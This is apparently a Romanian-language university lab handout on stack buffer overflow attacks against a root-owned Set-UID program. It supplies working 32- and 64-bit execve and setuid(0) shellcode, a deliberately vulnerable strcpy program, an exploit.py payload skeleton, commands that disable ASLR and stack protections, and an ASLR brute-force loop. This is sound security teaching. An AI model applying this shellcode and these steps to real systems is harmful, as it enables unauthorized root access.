Atacul cu depășire de zonă de memorie (versiunea Set-UID)

1 Scopul lucrării

Scopul acestei lucrări de laborator este ca studenții să acumuleze experiență nemijlocită privind vulnerabilitatea de tip ”depășire de zonă de memorie”, prin punerea în practică a ceea ce au învățat despre această vulnerabilitate.

Depășirea de zonă de memorie[1] (zonă tampon) se definește ca fiind o situație/condiție în care un program încearcă să scrie date dincolo de limitele unor zone de memorie de lungime fixă, prealocate. Această vulnerabilitate poate fi folosită de un utilizator rău intenționat pentru a modifica fluxul controlului din program și chiar a executa fragmente de cod arbitrare. Această vulnerabilitate apare din cauza amestecării memoriei pentru date (d.e. zone tampon) cu aceea pentru control (d.e. adresa de retur): o depășire în partea de date poate afecta fluxul controlului, deoarece o depășire poate schimba adresa de retur.

Studenții vor primi un program vulnerabil la depășirea de zonă tampon; sarcina lor este să dezvolte o schemă de exploatare vulnerabilitate și să obțină privilegii se supervizor. Pe lângă atacuri, studenții vor explora câteva scheme de protecție pentru contracararea atacurilor de acest fel, implementate în sistemul de operare. Studenții vor trebui să-și evalueze schemele de protecție – să determine dacă acestea funcționează sau nu și să explice de ce.

Acest laborator acoperă următoarele subiecte;

- Vulnerabilitatea din depășire de zonă de memorie și atacul asupra acesteia
- Structura stivei
- Randomizarea adreselor, stiva ne-executabilă și StackGuard
- Shellcode (pe 32 și 64 biți)
- Atacul return-to-libc, care țintește să învingă contramăsura ”stivă ne-executabilă” nu este obiectul altei lucrări

2 Desfășurarea lucrării

2.1 Setarea mediului

2.1.1 Dezactivarea contra-măsurilor

Sarcinile de laborator se vor efectua pe mașinile virtuale `Ubuntu` virtual pre-construite. `Ubuntu`, ca și alte distribuții Linux au implementat câteva mecanisme de securitate pentru a face ca atacul de tip depășire de zonă de memorie să fie dificil. Pentru a simplifica atacurile noastre, trebuie să dezactivăm aceste mecanisme. Ulterior le vom reactiva pe rând și vom verifica dacă atacul reușește.

[1] engl. buffer overflow

Randomizarea spațiului de adrese. Ubuntu și alte câteva sisteme de operare bazate pe Linux folosesc randomizarea adresei de început a heap și a stivei. Aceasta face ca ghicirea adreselor exacte să fie dificilă; ghicirea adreselor este unul dintre pașii critici ai atacurilor care folosesc depășirea de zonă de memorie. Pentru această lucrare vom dezactiva aceste caracteristici folosind comenzile următoare:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configurarea `/bin/sh`. În versiunile recente ale Ubuntu și alte câteva systeme bazate pe Linux, legătura simbolică `/bin/sh` indică spre shell-ul `/bin/dash`. Programu `dash`, precum și `bash` are implementată o contramăsură care îl împiedică să fie execitat într-un proces `Set-UID`. Practic, dacă `dash` detectează că este executat într-un proces `Set-UID`, schimbă imediat ID-ul de utilizator efectiv în ID-ul de utilizator real al procesului, eliminând în esență privilegiul.

Deoarece programul nostru victimă este un program `Set-UID`, iar atacul nostru se bazează pe rularea `/bin/sh`, contra-măsura din `/bin/dash` ne face atacul mai dificil. De aceea, vom lega `/bin/sh` de un alt shell care nu are o astfel de contra-măsură (în sarcinile ulterioare, vom arăta că, cu puțin mai mult efort, contra-măsura din `/bin/dash` poate fi ușor învinsă). Am instalat un program shell numit `zsh` în VM-ul nostru Ubuntu 20.04. Folosim următoarele comenzi pentru a lega `/bin/sh` la `zsh` :

```
$ sudo ln -sf /bin/zsh /bin/sh
```

Schema de protecție StackGuard și stiva ne-executabilă. Acestea sunt două contramăsuri suplimentare implementate în sistem și pot fi dezactivate în timpul compilării. Le vom discuta mai târziu când vom compila un program vulnerabil.

2.2 Sarcina 1: Familiarizarea cu Shellcode

Scopul final al atacurilor cu depășirea tamponului este injectarea de cod rău intenționat în programul țintă, deci codul poate fi executat folosind privilegiul programului țintă. Shellcode este utilizat pe scară largă în majoritatea injectării de cod atacuri. Să ne familiarizăm cu el în această sarcină.

2.2.1 Versiunea C a Shellcode

Un shellcode este practic o bucată de cod care lansează un shell. Dacă folosim codul C pentru a-l implementa, va arăta precum următorul:

Listing 1: Sursa C a programului folosit ca shellcode.

```
#include <stdio.h>

int main( ) {
    char *name[2];

    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}
```

Din păcate, nu putem doar să compilam acest cod și să folosim codul binar ca shellcode. Cel mai bun mod de a scrie un cod shell este utilizarea codului în asamblare. În acest laborator, oferim doar versiunea binară a unui shellcode, fără a explica cum funcționează (este netrivial).

2.2.2 Shellcode pe 32 biți

Listing 2: Shellcode pe 32 biți

```
; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp     ; ebx --> "/bin//sh": execve()'s 1st argument
; Construct the argument array argv[]
push eax         ; argv[1] = 0
push ebx         ; argv[0] --> "/bin//sh"
mov ecx, esp     ; ecx --> argv[]: execve()'s 2nd argument
; For environment variable
xor edx, edx     ; edx = 0: execve()'s 3rd argument
; Invoke execve()
xor eax, eax     ;
mov al, 0x0b     ; execve()'s system call number
int 0x80
```

Codul shell de mai sus (listing 2) invocă în esență apelul de sistem `execve()` pentru a executa `/bin/sh`. Dăm doar o foarte scurtă explicație:

- A treia instrucțiune pune "`//sh`", nu "`/sh`" în stivă. Asta pentru că avem nevoie de un număr pe 32 de biți aici, iar "`/sh`" are doar 24 de biți. Din fericire, "`//`" este echivalent cu "`/`", așa că putem scapă cu un simbol dublu slash.
- Trebuie să transmitem trei argumente către `execve()` prin intermediul registrelor `ebx`, `ecx` și, respectiv, `edx`. Majoritatea codului shell construiește practic conținutul pentru aceste trei argumente.
- Apelul de sistem `execve()` se face când setăm `al` la `0x0b` și executăm "`int 0x80`".

2.2.3 Shellcode pe 64 biți

Vă oferim un exemplu de cod shell pe 64 de biți în cele ce urmează. Este destul de similar cu codul shell pe 32 de biți, cu excepția că numele registrelor sunt diferite și registrele utilizate de apelul de sistem `execve()` sunt de asemenea diferite. O explicație a codului este oferită în secțiunea de comentarii și nu vom oferi explicații detaliate pentru shellcode.

Listing 3: Shellcode pe 64 biți

```
xor rdx, rdx        ; rdx = 0: execve()'s 3rd argument
push rdx
mov rax, '/bin//sh' ; the command we want to run
```

```
push rax            ;
mov rdi, rsp        ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx            ; argv[1] = 0
push rdi            ; argv[0] --> "/bin//sh"
mov rsi, rsp        ; rsi --> argv[]: execve()'s 2nd argument
xor rax, rax
mov al, 0x3b        ; execve()'s system call number
syscall
```

2.2.4 Sarcină: invocarea Shellcode

Am generat codul binar din codul de asamblare de mai sus și am pus codul într-un program C numit `shellcode.c` în directorul `shellcode`. În această sarcină, vom testa codul shell.

Listing 4: call_shellcode.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char shellcode[] =
#if __x86_64__
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
    char code[500];

    strcpy(code, shellcode);
    int (*func)() = (int(*)())code;
    func();
    return 1;
}
```

Codul de mai sus include două copii ale codului shell, una pe 32 de biți și cealaltă pe 64 de biți. Când compilăm programul utilizând fanionul `-m32`, va fi folosită versiunea pe 32 de biți; fără această opțiune, se va genera versiunea pe 64 de biți. Folosind `Makefile` furnizat, puteți compila codul tastând `make`. Vor fi create două binare, `a32.out` (32 de biți) și `a64.out` (64 de biți). Rulați-le și descrieți observațiile dvs. Trebuie remarcat că compilarea folosește opțiunea `execstack`, care permite codului să fie executat de pe stivă. Fără această opțiune, programul va eșua.

2.3 Sarcina 2: Înțelegerea programului vulnerabil

Programul vulnerabil folosit în acest laborator se numește `stack.c` și se află în directorul `code`. Acest program are o vulnerabilitate de depășire de zonă tampon, iar dvs. trebuie să exploatați această vulnerabilitate și să obțineți privilegii de supervizor. Codul de mai jos are unele informații neesențiale eliminate, deci este ușor diferit de ceea ce obțineți din fișierul de configurare al laboratorului.

Listing 5: stack.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif

int bof(char *str)
{
    char buffer[BUF_SIZE];

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

Programul de mai sus are o vulnerabilitate de depășire a tamponului. Mai întâi citește o intrare dintr-un fișier numit `badfile`, și apoi trece această intrare către alt buffer din funcția `bof()`. Intrarea originală poate avea maximum 517 octeți, dar tamponul din `bof()` are o lungime de numai `BUF_SIZE` octeți, care este mai mică de 517. Deoarece `strcpy()` nu verifică limitele, va avea loc depășirea tamponului. Deoarece acest program este un program `Set-UID` deținut de root, dacă un utilizator normal poate exploata această vulnerabilitate de depășire a zonei, utilizatorul ar putea obține un shell supervizor. Trebuie remarcat faptul că programul își primește intrarea dintr-un fișier numit `badfile`. Acest fișier este sub controlul utilizatorilor.

Obiectivul nostru este să creăm conținutul pentru `badfile`, astfel încât atunci când programul

vulnerabil copiază conținutul în buffer-ul său, să se poată obține shell supervizor (root shell).

Compilarea. Pentru a compila programul vulnerabil de mai sus, nu uitați să dezactivați StackGuard și protecția de stivă neexecutabilă folosind opțiunile "`-fno-stack-protector`: și "`-z execstack`".

După compilare, trebuie să facem din program un program `Set-UID` deținut de supervizor. Putem realiza acest lucru schimbând mai întâi proprietatea programului la root (linia ❶), apoi schimbați permisiunea la `4755` pentru a seta bitul `Set-UID` (linia ❷). Trebuie remarcat faptul că schimbarea proprietarului trebuie făcută înainte de setarea bitului Set-UID, deoarece schimbarea proprietății va face ca bitul `Set-UID` să fie dezactivat.

Listing 6: Comenzile de compilare

```
$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack
    -fno-stack-protector stack.c
$ sudo chown root stack                    ❶
$ sudo chmod 4755 stack                    ❷
```

Comenzile de compilare și configurare sunt deja incluse în `Makefile`, așa că trebuie doar să scriem `make` pentru a executa acele comenzi. Variabilele `L1, ..., L4` sunt setate în `Makefile`; acestea vor fi utilizate în timpul compilării. Dacă instructorul a ales un set diferit de valori pentru aceste variabile, trebuie să le schimbați în `Makefile`. Acestea vor determina modificarea valorii lui `BUF_SIZE`.

2.4 Sarcina 3: Lansarea atacului pe un program pe 32 de biți

2.4.1 Investigații

Pentru a exploata vulnerabilitatea buffer-overflow din programul țintă, cel mai important lucru de știut este distanța dintre poziția de început a tamponului și locul unde este stocată adresa de retur. Noi vom folosi o metodă de depanare pentru a o afla. Deoarece avem codul sursă al programului țintă, îl putem compila cu opțiunea de depanare activată. Acest lucru va face mai convenabil depanarea. Vom adăuga opțiunea `-g` la comanda `gcc`, astfel încât informațiile de depanare să fie adăugate în binar. Dacă executăm `make`, versiunea de depanare va fi creată. Vom folosi `gdb` pentru a depana `stack-L1-dbg`. Avem nevoie să creăm un fișier numit `badfile` înainte de a rula programul.

```
$ touch badfile                          # Crează un badfile gol
$ gdb stack-L1-dbg
gdb-peda$ b bof                          # Pune un breakpoint la funcția bof()
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run                            # Începe executarea programului
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18  {
gdb-peda$ next                           # Vezi observația de mai jos
...
22        strcpy(buffer, str);
gdb-peda$ p $ebp                         # Obtine valoarea lui ebp
$1 = (void *) 0xffffdfd8
gdb-peda$ p &buffer                      # Obține adresa lui buffer
```

```
$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit                          # exit
```

Observația 1. Când `gdb` se oprește în interiorul funcției `bof()`, se oprește înainte ca registrul `ebp` să fie setat ca să indice către cadrul stivei curente, așa că, dacă tipărim valoarea `ebp` aici, vom obține valoarea `ebp` a apelantului. Avem nevoie să folosim `next` pentru a executa câteva instrucțiuni și pentru ne a opri după ce registrul `ebp` este modificat ca să indice cadrul de stivă al funcției bof().

Observația 2. Trebuie remarcat faptul că valoarea pointerului de cadru obținută de la `gdb` este diferită de cea din timpul execuției propriu-zise (fără a folosi gdb). Acest lucru se datorează faptului că `gdb` a introdus unele date de mediu în stivă înainte de a rula programul depanat. Când programul rulează direct, fără a utiliza gdb, stiva nu are acele date, deci valoarea reală a pointerului de cadru va fi mai mare. Ar trebui să țineți cont de asta când vă construiți sarcina utilă.

2.4.2 Lansarea atacurilor

Pentru a exploata vulnerabilitatea buffer-overflow din programul țintă, trebuie să pregătim o sarcină utilă și să o salvăm în `badfile`. Vom folosi un program Python pentru a face asta. Oferim un program schelet numit `exploit.py`, care este inclus în arhiva de configurare a laboratorului. Codul este incomplet și va trebui să înlocuiți unele dintre valorile esențiale din cod.

Listing 7: exploit.py

```
#!/usr/bin/python3
import sys

# Replace the content with the actual shellcode
shellcode= (
""                          # ★ Trebuie modificat ★
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 0                   # ★ Trebuie modificat ★
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0x00               # ★ Trebuie modificat ★
offset = 0                  # ★ Trebuie modificat ★

L = 4      # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
```

```
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```

După ce ați terminat programul de mai sus, rulați-l. Acest lucru va genera conținutul pentru `badfile`. Apoi rulați programul vulnerabil, `stack`. Dacă exploit-ul dvs. este implementat corect, ar trebui să puteți obține un shell supervizor.

```
$./exploit.py // create the badfile
$./stack-L1 // launch the attack by running the vulnerable program
# <---- Bingo! You've got a root shell!
```

În raportul dvs. de laborator, pe lângă furnizarea de capturi de ecran pentru a demonstra investigația și atacul dvs., de asemenea, trebuie să explicați cum sunt ați ales valorile utilizate în `exploit.py`. Aceste valori sunt cea mai importantă parte a atacului, așa că o explicație detaliată poate ajuta instructorul să vă evalueze raportul. Numai demonstrând un atac reușit fără a explica de ce atacul funcționează nu va primi multe puncte.

2.5 Sarcina 4: Lansarea atacului pe un program pe 64 de biți

Programul țintă (`stack-L4`) din această sarcină este similar cu cel din nivelul 2, cu excepția faptului că dimensiunea bufferului este extrem de mică. Am setat dimensiunea tamponului la 10, în timp ce la nivelul 2, dimensiunea tamponului este mult mai mare. Scopul dvs. este la fel: obțineți shell-ul rădăcină atacând acest program `Set-UID`. Este posibil să întâmpinați provocări suplimentare în acest atac datorită dimensiunii mici a tamponului. Dacă acesta este cazul, trebuie să explicați cum ați rezolvat provocările în atacul dvs.

2.6 Sarcinile 5: Înfrângerea contramăsurii lui Dash

Dash shell din sistemul de operare `Ubuntu` renunță la privilegii atunci când detectează că UID-ul efectiv nu este egal cu UID-ul real (care este cazul într-un program Set-UID). Acest lucru se realizează prin schimbarea UID-ului efectiv înapoi la UID-ul real, în esență, renunțând la privilegiu. În sarcinile anterioare, facem ca `/bin/sh` să indice un alt shell numit `zsh`, care nu are o astfel de contramăsură. În această sarcină, vom schimba înapoi și vedem cum putem învinge contramăsura. Vă rugăm să faceți următoarele, astfel încât `/bin/sh` indică înapoi la `/bin/dash`.

```
$ sudo ln -sf /bin/dash /bin/sh
```

Pentru a învinge contramăsura în atacurile cu buffer-overflow, tot ce trebuie să facem este să schimbăm UID-ul real, astfel încât să fie egal cu UID-ul efectiv. Când rulează un program `Set-UID` deținut de root, UID-ul efectiv este zero, deci înainte de a invoca programul shell, trebuie doar să schimbăm UID-ul real la zero. Putem realiza acest lucru prin invocarea `setuid(0)` înainte de a executa `execve()` în shellcode.

Următorul cod de asamblare arată cum să invocați `setuid(0)`. Codul binar este deja plasat în `call_shellcode.c`. Trebuie doar să-l adăugați la începutul codului shell.

Listing 8: Invocarea setuid(0) pe 32 biți

```
; Invoke setuid(0): 32-bit
xor ebx, ebx     ; ebx = 0: setuid()'s argument
xor eax, eax
```

```
mov al, 0xd5     ; setuid()'s system call number
int 0x80         ; Invoke setuid(0): 64-bit
xor rdi, rdi     ; rdi = 0: setuid()'s argument
xor rax, rax
mov al, 0x69     ; setuid()'s system call number
syscall
```

Experiment. Compilați `call_shellcode.c` în binar deținut de root (comanda "`make setuid`"). Rulați codul shell `a32.out` și `a64.out` cu sau fără apelul de sistem `setuid(0)`. Descrieți și explicați-vă observațiile.

Lansați atacului din nou. Acum, folosind codul shell actualizat, putem încerca din nou atacul asupra program vulnerabil, și de data aceasta, cu contramăsura pentru shell activată. Repetați atacul de nivel 1 și vedeți dacă puteți obține shell-ul supervizor. După ce obțineți shell-ul supervizor, vă rugăm să rulați următoarea comandă pentru a demonstra că contramăsura este activată. Deși repetarea atacurilor la nivelurile 2 și 3 nu sunt necesare, nu ezitați să faceți asta și să vedeți dacă funcționează sau nu.

```
# ls -l /bin/sh /bin/zsh /bin/dash
```

2.7 Sarcina 6: Înfrângerea randomizării adreselor

Pe mașinile Linux pe 32 de biți, stivele au doar 19 biți de entropie, ceea ce înseamnă că adresa de bază a stivei poate avea $2^{19} = 524,288$ posibilități. Acest număr nu este atât de mare și poate fi epuizat cu ușurință cu forța brută. În această sarcină, folosim o astfel de abordare pentru a învinge contramăsura de randomizare a adresei de pe VM pe 32 de biți. Mai întâi, activăm randomizarea adreselor `Ubuntu` folosind următoarea comandă. Apoi rulați același atac împotriva lui `stack-L1`. Vă rugăm să descrieți și să explicați observațiile dvs.

```
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
```

Apoi folosim abordarea cu forță brută pentru a ataca programul vulnerabil în mod repetat, în speranța că adresa pe care am pus-o în fișierul `badfile` poate fi în cele din urmă corectă. Vom încerca asta doar pe `stack-L1`, care este un program pe 32 de biți. Puteți utiliza următorul script shell pentru a rula programul vulnerabil într-o buclă infinită. Dacă atacul vă reușește, script-ul se va opri; altfel, va continua să ruleze. Vă rugăm să aveți răbdare, deoarece acest lucru poate dura câteva minute, dar dacă aveți ghinion, poate dura mai mult. Vă rugăm să descrieți observația dvs.

Listing 9: Script pentru rularea în buclă

```
#!/bin/bash
SECONDS=0
value=0
while true; do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$(($duration / 60))
    sec=$(($duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
```

```
    ./stack-L1
done
```

Atacurile cu forță brută asupra programelor pe 64 de biți sunt mult mai dificile, deoarece entropia este mult mai mare. Cu toate că acest lucru nu este obligatoriu, sunteți liberi să îl încercați doar pentru distracție. Lăsați-l să ruleze peste noapte. Cine știe, s-ar putea să fiți foarte norocoși.

2.8 Sarcinile 7: Experimentarea altor contramăsuri

2.8.1 Sarcina 7.a: Activați protecția StackGuard

Multe compilatoare, cum ar fi `gcc`, implementează un mecanism de securitate numit `StackGuard` pentru a preveni depășirea de zonă. În prezența acestei protecții, atacurile de buffer overflow nu vor funcționa. În sarcinile noastre anterioare, noi a dezactivat mecanismul de protecție `StackGuard` la compilarea programelor. În această sarcină, o vom activa și vom vedea ce se va întâmpla.

În primul rând, repetați atacul de nivel 1 cu `StackGuard` oprit și asigurați-vă că atacul are succes. Nu uitați să dezactivați randomizarea adreselor, deoarece ați activat-o în sarcina anterioară. Apoi, activați protecția `StackGuard` recompilând programul vulnerabil `stack.c` fără fanionul `-fno-stack-protector`. În versiunea `gcc 4.3.3` și mai sus, `StackGuard` este activat implicit. Lansați atacul; raportați și explicați-vă observațiile.

2.8.2 Sarcina 7.b: Activați Protecția ”stivă neexecutabilă”

Sistemele de operare obișnuiau să permită stive executabile, dar acest lucru s-a schimbat acum: în sistemul de operare `Ubuntu`, imaginile binare ale programelor (și bibliotecilor partajate) trebuie să declare dacă necesită sau nu stive executabile, adică trebuie să marcheze un câmp în antetul programului. Kernel-ul sau linkerul dinamic utilizează acest marcaj pentru a decide dacă să faceți stiva acestui program care rulează executabilă sau neexecutabilă. Acest marcaj este făcut automat de către `gcc`, care în mod implicit face ca stiva să nu fie executabilă. Putem face în mod specific să nu fie executabilă folosind fanionul ”`-z noexecstack`” la compilare. În sarcinile noastre anterioare, am folosit ”`-z execstack`” pentru a face stivele executabile.

În această sarcină, vom face stiva neexecutabilă. Vom face acest experiment în directorul `shellcode`. Programul `call_shellcode` pune o copie a shellcode pe stivă și apoi execută codul din stivă. Vă rugăm să recompilați `call_shellcode.c` în `a32.out` și `a64.out`, fără ”`-z execstack`”. Rulați-le, descrieți și explicați observațiile dvs.

Înfrângerea contramăsurii stivei neexecutabile. Trebuie remarcat faptul că stiva neexecutabilă doar face imposibilă rularea shellcode pe stivă, dar nu previne atacurile de depășire a tamponului, deoarece există și alte modalități de a rula cod rău intenționat după exploatarea unei vulnerabilități de depășire a tamponului: **return-to-libc** este un exemplu.

3 Trimiterea rezultatelor

Trebuie să trimiteți un raport de laborator detaliat, cu capturi de ecran, pentru a descrie ce ați făcut și ce ați observat. De asemenea, trebuie să oferiți explicații pentru observațiile interesante sau surprinzătoare. Vă rugăm, de asemenea, să includeți fragmentele de cod importante, urmate de explicații. Anexarea codului fără explicații nu va fi luată în considerare.